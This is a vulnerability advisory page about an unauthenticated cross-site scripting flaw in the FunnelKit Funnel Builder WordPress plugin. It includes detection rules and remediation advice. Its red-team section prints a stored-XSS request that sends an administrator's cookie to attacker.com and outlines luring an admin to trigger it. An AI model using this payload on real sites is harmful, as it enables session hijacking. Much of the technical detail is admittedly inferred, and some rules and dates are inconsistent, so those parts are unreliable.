☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Funnelkit logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-48966

CVE-2026-48966 Cross-Site Scripting in Funnelkit
📅 PUBLISHED: 2026-06-15 21:17 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-48966 is an Unauthenticated Cross-Site Scripting (XSS) vulnerability discovered in the Funnel Builder by FunnelKit plugin for WordPress, affecting versions up to and including 3.15.0.2. This vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into the application, which executes in the context of an authenticated administrator's browser session. The attack vector is network-based, requires user interaction (the admin must view the malicious page), and has a CVSS v3.1 base score of 7.1 (High). The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. Given the widespread use of FunnelKit for building sales funnels on WordPress sites, this poses a significant risk to e-commerce and lead-generation websites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The affected component is funnel-builder by FunnelKit, distributed via the official WordPress plugin repository and third-party marketplaces. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported. However, the lack of a patch increases the risk of supply chain attacks if administrators delay updates or use outdated versions.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 7.1 (High)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a link or view a crafted page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: High. The combination of unauthenticated access, low complexity, and the potential for session hijacking or admin account takeover makes this a critical risk for unpatched WordPress sites.

Deep Dive & Mechanics

The vulnerability is an Unauthenticated Stored/Reflected Cross-Site Scripting (XSS) in the Funnel Builder plugin. The plugin fails to properly sanitize user-supplied input in one of its shortcodes or AJAX endpoints. An attacker can inject malicious JavaScript payloads into parameters such as funnel_id, step, or custom field values. When an administrator views the affected page (e.g., the funnel builder dashboard or a preview), the script executes in their browser.

Root Cause: The plugin uses echo or print to output user-controlled data without escaping or sanitization. Specifically, the funnel-builder plugin's class-funnel-builder.php or related template files do not apply esc_html(), esc_attr(), or wp_kses() to input that is later rendered in the admin panel.

Attack Flow:

  1. Attacker crafts a malicious URL or POST request containing a JavaScript payload (e.g., <script>alert('XSS')</script>).
  2. The payload is stored in the WordPress database (e.g., as a funnel name or step title).
  3. An administrator navigates to the FunnelKit admin page.
  4. The payload is rendered unsanitized, executing the attacker's script.
  5. The script can steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from similar XSS vulnerabilities in WordPress plugins.

Vulnerable Code (Example):

// In funnel-builder/includes/class-funnel-builder.php
function render_funnel_title($funnel_id) {
    $funnel = get_post($funnel_id);
    echo "<h2>" . $funnel->post_title . "</h2>"; // Unsanitized output
}

Patched Code (Expected):

function render_funnel_title($funnel_id) {
    $funnel = get_post($funnel_id);
    echo "<h2>" . esc_html($funnel->post_title) . "</h2>"; // Properly escaped
}

Key Difference: The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site running FunnelKit Funnel Builder <= 3.15.0.2.
  • No authentication required.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=funnel_builder_save_step).
  2. Send a POST request with a malicious payload in a parameter like step_title:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    action=funnel_builder_save_step&funnel_id=1&step_title=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. The payload is stored in the database.
  4. Craft a link to the admin funnel editor page (e.g., /wp-admin/admin.php?page=funnel-builder&funnel_id=1).
  5. Send the link to an authenticated admin (via email, social engineering, etc.).
  6. When the admin views the page, the script executes, exfiltrating their session cookie.

Alternative Payload (Reflected XSS):

GET /wp-admin/admin.php?page=funnel-builder&funnel_id=1&step=<script>alert(1)</script> HTTP/1.1

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing <script>, onerror=, or javascript: in parameters.
  • Use WAF rules to block common XSS patterns (e.g., <script, onload=, onerror=).
  • Deploy Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search WordPress database for stored XSS payloads:
    SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
    SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
    
  • Check for unusual admin user creation or privilege escalation.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to attacker-controlled domains (e.g., attacker.com, evil.com).
    • HTTP requests containing document.cookie or fetch( in query strings.
  • Host IOCs:
    • Unexpected JavaScript code in WordPress database tables (wp_posts, wp_postmeta).
    • Modified or new admin users.
    • Presence of eval() or atob() in page source.
  • File IOCs:
    • Suspicious files in /wp-content/uploads/ or /wp-content/plugins/funnel-builder/.
    • Modified plugin files (e.g., class-funnel-builder.php).

Detection Engineering

YARA Rule

rule CVE_2026_48966_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting FunnelKit Funnel Builder"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-48966"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:\s*/is
        $xss4 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: FunnelKit Funnel Builder XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against FunnelKit Funnel Builder plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET' or 'POST'
        c-uri|contains:
            - '/wp-admin/admin-ajax.php'
            - '/wp-admin/admin.php?page=funnel-builder'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-48966 FunnelKit Funnel Builder XSS Attempt";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=funnel_builder_save_step"; http_client_body;
    pcre:"/(<script|onerror=|javascript:|onload=)/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-48966;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  3. Restrict admin access to trusted IP addresses only.
  4. Enable Content Security Policy (CSP) headers:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
    
    (Note: 'unsafe-inline' may be required for WordPress admin, but consider removing it if possible.)

Long-Term Fix:

  • Apply the vendor patch once released.
  • Update to the latest version of FunnelKit Funnel Builder.
  • Conduct a security audit of all WordPress plugins.

Workaround (if plugin cannot be disabled):

  • Manually patch the vulnerable file by adding esc_html() or wp_kses_post() to all user-controlled outputs.
  • Monitor logs for exploitation attempts.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-48966/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.